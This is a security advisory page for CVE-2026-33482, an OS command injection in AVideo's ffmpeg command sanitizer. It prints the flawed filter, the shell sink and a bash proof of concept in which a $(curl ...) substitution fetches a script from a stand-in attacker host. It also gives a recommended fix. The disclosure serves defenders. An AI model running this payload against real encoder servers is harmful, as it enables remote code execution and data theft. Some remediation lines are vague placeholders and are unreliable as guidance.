CVE-2026-33482: Wwbn/avideo AVideo Has An OS Command Vulnerability

HIGH
Advisory Identifier: GHSA-pmj8-r2j7-xg6c
CVSS 8.1
CWE-78
Published
Advisory Summary

CVE-2026-33482 is a HIGH (CVSS 8.1) avideo has an os command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo has an os command injection via $() shell substitution bypass in sanitizeffmpegcommand(). Remediation is available in the latest vendor maintenance releases.

CVE-2026-33482 at a Glance

CVE Identifier CVE-2026-33482
GHSA Identifier GHSA-pmj8-r2j7-xg6c
Severity HIGH
CVSS v3.1 Base Score 8.1
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33482

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33482, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. ## Details **Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`): ```php function sanitizeFFmpegCommand($command) { $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg']; // Remove dangerous characters $command = str_replace('&&', '', $command); $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); $command = preg_replace('/[;|`<>]/', '', $command); // Missing: $ ( ) \n // Ensure it starts with an allowed prefix foreach ($allowedPrefixes as $prefix) { if (strpos(trim($command), $prefix) === 0) { return $command; } } return ''; } ``` The character class `[;|`<>]` on line 70 does not include `$`, `(`, `)`, or `\n`. This means `$(...)` command substitution passes through completely unmodified. **Execution sink** (`objects/functionsExec.php:656-658`): ```php $commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &"; ``` The `addcslashes($command, '"')` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string. **Execution flow:** 1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php` 2. Standalone encoder calls main server's unauthenticated `decryptString` API to decrypt 3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` — `$()` is NOT stripped 4. Command passes prefix check (starts with `ffmpeg`) 5. `execAsync()` wraps it in `sh -c "..."` — `$()` is evaluated as command substitution **Auth barrier analysis:** - Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds - Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` — cryptographically strong - IV is `substr(sha256(systemRootPath), 0, 16)` — predictable but insufficient alone - On legacy installations without `saltV2`, falls back to `$global['salt']` which may be weaker - The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting ## PoC Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability): ```bash # Step 1: Craft the malicious ffmpeg command # $() passes sanitization; curl -o avoids needing > which would be stripped MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4' # Step 2: Build the JSON payload PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}" # Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath) # KEY = sha256(saltV2) # IV = substr(sha256(systemRootPath), 0, 16) ENCRYPTED=$(php -r " \$salt = 'KNOWN_SALTV2'; \$iv_source = '/var/www/html/AVideo/'; \$key = hash('sha256', \$salt); \$iv = substr(hash('sha256', \$iv_source), 0, 16); echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv)); ") # Step 4: Send to standalone encoder curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')" # Result: The standalone encoder executes: # sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..." # The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script ``` **Sanitization trace for the payload:** - `str_replace('&&', '', ...)` → no `&&` present, passes - `preg_replace('/\s*&?>.*(?:2>&1)?/', '', ...)` → no `>` outside `$()`, passes - `preg_replace('/[;|`<>]/', '', ...)` → no `;|`<>` present, passes - Prefix check → starts with `ffmpeg`, passes - `addcslashes($command, '"')` → no `"` in payload, `$()` untouched ## Impact - **Remote Code Execution**: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process - **Lateral Movement**: Standalone encoders typically have network access to the main AVideo server, enabling further attacks - **Data Exfiltration**: Access to all video files, configuration, and credentials stored on the encoder - **Service Disruption**: Attacker can terminate encoding processes or consume system resources The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk. ## Recommended Fix Replace the denylist-based sanitization with proper argument escaping: ```php function sanitizeFFmpegCommand($command) { $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg']; // Verify it starts with an allowed prefix $trimmed = trim($command); $validPrefix = false; foreach ($allowedPrefixes as $prefix) { if (strpos($trimmed, $prefix) === 0) { $validPrefix = true; break; } } if (!$validPrefix) { _error_log("Sanitization failed: Command does not start with an allowed prefix"); return ''; } // Strip ALL shell metacharacters, including command substitution // This covers: ; | ` < > $ ( ) { } \n \r $command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command); $command = str_replace('&&', '', $command); $command = preg_replace('/[\n\r]/', '', $command); $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); _error_log("Command sanitized successfully"); return $command; } ``` **Better long-term fix**: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.

CVE-2026-33482 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33482?
CVE-2026-33482 is a security vulnerability in Wwbn/avideo involving AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand() under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33482?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33482?
CVE-2026-33482 has a CVSS v3.1 base score of 8.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33482?
CVE-2026-33482 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Packagist dependencies for CVE-2026-33482?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pmj8-r2j7-xg6c",
  "modified" : "2026-03-25T18:50:02Z",
  "published" : "2026-03-20T20:46:39Z",
  "aliases" : [ "CVE-2026-33482" ],
  "summary" : "AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()",
  "details" : "## Summary\n\nThe `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.\n\n## Details\n\n**Vulnerable sanitization function** (`plugin/API/standAlone/functions.php:59-82`):\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];\n    \n    // Remove dangerous characters\n    $command = str_replace('&&', '', $command);\n    $command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);\n    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \\n\n    \n    // Ensure it starts with an allowed prefix\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos(trim($command), $prefix) === 0) {\n            return $command;\n        }\n    }\n    return '';\n}\n```\n\nThe character class `[;|`<>]` on line 70 does not include `$`, `(`, `)`, or `\\n`. This means `$(...)` command substitution passes through completely unmodified.\n\n**Execution sink** (`objects/functionsExec.php:656-658`):\n\n```php\n$commandWithKeyword = \"nohup sh -c \\\"$command & echo \\\\$! > /tmp/$keyword.pid\\\" > /dev/null 2>&1 &\";\n```\n\nThe `addcslashes($command, '\"')` call at line 639 only escapes double-quote characters. The `$()` construct is preserved intact and interpreted by `sh` as command substitution within the double-quoted string.\n\n**Execution flow:**\n1. Attacker sends `codeToExecEncrypted` parameter to `plugin/API/standAlone/ffmpeg.json.php`\n2. Standalone encoder calls main server's unauthenticated `decryptString` API to decrypt\n3. Decrypted `ffmpegCommand` passes through `sanitizeFFmpegCommand()` — `$()` is NOT stripped\n4. Command passes prefix check (starts with `ffmpeg`)\n5. `execAsync()` wraps it in `sh -c \"...\"` — `$()` is evaluated as command substitution\n\n**Auth barrier analysis:**\n- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds\n- Key is `sha256(saltV2)` on the main server; `saltV2` is generated by `random_bytes(16)` — cryptographically strong\n- IV is `substr(sha256(systemRootPath), 0, 16)` — predictable but insufficient alone\n- On legacy installations without `saltV2`, falls back to `$global['salt']` which may be weaker\n- The `decryptString` API endpoint (`API.php:5963`) is unauthenticated, enabling probing but not payload crafting\n\n## PoC\n\nAssuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):\n\n```bash\n# Step 1: Craft the malicious ffmpeg command\n# $() passes sanitization; curl -o avoids needing > which would be stripped\nMALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'\n\n# Step 2: Build the JSON payload\nPAYLOAD=\"{\\\"ffmpegCommand\\\":\\\"$MALICIOUS_CMD\\\",\\\"keyword\\\":\\\"test\\\",\\\"time\\\":$(date +%s)}\"\n\n# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)\n# KEY = sha256(saltV2)\n# IV  = substr(sha256(systemRootPath), 0, 16)\nENCRYPTED=$(php -r \"\n\\$salt = 'KNOWN_SALTV2';\n\\$iv_source = '/var/www/html/AVideo/';\n\\$key = hash('sha256', \\$salt);\n\\$iv = substr(hash('sha256', \\$iv_source), 0, 16);\necho base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \\$key, 0, \\$iv));\n\")\n\n# Step 4: Send to standalone encoder\ncurl \"http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\\\"'$ENCRYPTED'\\\"))')\"\n\n# Result: The standalone encoder executes:\n# sh -c \"ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ...\"\n# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script\n```\n\n**Sanitization trace for the payload:**\n- `str_replace('&&', '', ...)` → no `&&` present, passes\n- `preg_replace('/\\s*&?>.*(?:2>&1)?/', '', ...)` → no `>` outside `$()`, passes\n- `preg_replace('/[;|`<>]/', '', ...)` → no `;|`<>` present, passes\n- Prefix check → starts with `ffmpeg`, passes\n- `addcslashes($command, '\"')` → no `\"` in payload, `$()` untouched\n\n## Impact\n\n- **Remote Code Execution**: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process\n- **Lateral Movement**: Standalone encoders typically have network access to the main AVideo server, enabling further attacks\n- **Data Exfiltration**: Access to all video files, configuration, and credentials stored on the encoder\n- **Service Disruption**: Attacker can terminate encoding processes or consume system resources\n\nThe attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without `saltV2` are at significantly higher risk.\n\n## Recommended Fix\n\nReplace the denylist-based sanitization with proper argument escaping:\n\n```php\nfunction sanitizeFFmpegCommand($command)\n{\n    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];\n\n    // Verify it starts with an allowed prefix\n    $trimmed = trim($command);\n    $validPrefix = false;\n    foreach ($allowedPrefixes as $prefix) {\n        if (strpos($trimmed, $prefix) === 0) {\n            $validPrefix = true;\n            break;\n        }\n    }\n    if (!$validPrefix) {\n        _error_log(\"Sanitization failed: Command does not start with an allowed prefix\");\n        return '';\n    }\n\n    // Strip ALL shell metacharacters, including command substitution\n    // This covers: ; | ` < > $ ( ) { } \\n \\r\n    $command = preg_replace('/[;|`<>$(){}\\\\\\\\]/', '', $command);\n    $command = str_replace('&&', '', $command);\n    $command = preg_replace('/[\\n\\r]/', '', $command);\n    $command = preg_replace('/\\s*&?>.*(?:2>&1)?/', '', $command);\n\n    _error_log(\"Command sanitized successfully\");\n    return $command;\n}\n```\n\n**Better long-term fix**: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use `escapeshellarg()` on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33482"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/25c8ab90269e3a01fb4cf205b40a373487f022e1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-20T20:46:39Z",
    "nvd_published_at" : "2026-03-23T15:16:34Z"
  }
}